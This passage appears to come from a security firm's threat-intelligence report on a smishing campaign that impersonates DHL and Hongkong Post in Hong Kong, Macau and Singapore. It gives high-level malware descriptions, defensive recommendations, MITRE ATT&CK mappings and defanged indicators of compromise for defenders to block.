In one instance, the Trojan is elaborated to have performed as the spyware that steals sensitive information such as credit card details and passwords for sale and profitability.[6] On the other hand, the Trojan was deemed to have been altered and linked to the “Trojan-Ransom.Win32.Shade.Ino” ransomware that cybercriminals deliver via phishing emails to conduct online frauds. The ransomware ciphers documents on the hard drive and prevents normal access to the victim’s workstation, with a ransom note locatable on the local drive upon reboot that demands payment to decipher the data.[7] A third web post noted that the “Win32.Trojan.Raasj.Auto” Trojan would hijack victims’ web browser to cause web redirection issues, and slow down the overall System and Network performance speed.[8]

Overall, the links to relatively low level malware suggests a financially motivated campaign spanning multiple years and only recently focusing on Hong Kong and South East Asian targets.

Figure 6 – Pivoting out from 耐思尼克國際集團有限公司 to identify further known-bad malicious domains and IP addresses, along with the Trojan “Win32.Trojan.Raasj.Auto”

Conclusion

Through a Macau smishing campaign, we were able to uncover a wider campaign targeting Hong Kong, Macau, and Singapore and involving a network of malicious Hong Kong domains registered by the same local registrar. A specific domain had a resolution history to a Russia-based IP address reportedly linked to Trojans used since at least 2017, suggesting it was likely rented by or associated with multiple cybercriminal threat actors. Our assessment is reinforced by the fact that the original domain exploited for smishing, dhl-post[.]hk, was hosted by a Russian server, which is a relatively rare occurrence in Hong Kong.

Recommendations

While phishing and smishing abusing legitimate brands will remain a problem, companies can take action to mitigate and prevent the threat they pose.

  • Organisations should update their email security solution and network devices (including external firewall, web proxies) to detect for potential inbound/outbound connections from the known-bad domains and IP addresses in this post.
  • Users should remain wary of the legitimacy of webpages and their branding, and access websites via the global webpage as opposed to the URL shortened link if in doubt. Impacted companies should issue circulars and alerts as necessary when impersonation attempts are detected.
  • Organisations should conduct young domains monitoring and alert against potentially suspicious domains for further action. This task is typically conducted by our Security Operations Centre for subscription clients. We have already informed both DHL and Hongkong Post to investigate, and if necessary perform takedown of fake domains dhl-post[.]hk and hongkong-post[.]net.
  • Registrars should enhance their onboarding due diligence to reduce the risk of provisioning of domains impersonating legitimate brands, and should regularly reviews activities of those domains to ensure their use for ethical and non-malicious activities.

MITRE ATT&CK TTPs Leveraged

  • Initial Access: Phishing (T1566)
  • Initial Access: Phishing: Spearphishing Link (T1566.001)
  • Execution: User Execution (T1204)
  • Credential Access: Input Capture – Web Portal Capture (T1056.003)
  • Collection: Input Capture (T1056)
  • Collection: Browser Session Hijacking (T1185)
  • Exfiltration: Automated Exfiltration (T1020)
  • Impact: Data Encrypted for Impact (T1486)
  • Impact: Account Access Removal (T1531)
  • Impact: Endpoint Denial of Service (T1499)

Indicators of Compromise (IOCs)

• hxxps://hongkong-post[.]net/e/authID=UEjJc/tracking.php?sessionid=4g3ihd1ej09+6b+27fc58arSZF+27+5p9Ba8+D6Y+Gg3ok+4+1uIEOgCLfMSPmNKwbHwTAaX+J42951997505
• dhl-post[.]hk
• hongkong-post[.]net
• singapore-post[.]com
• xjam[.]hk
• canadahq[.]hk
• kaddafi[.]hk
• aij[.]hk
• aididas[.]com[.]hk
• 31[.]28[.]27[.]151
• 185[.]178[.]208[.]186

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.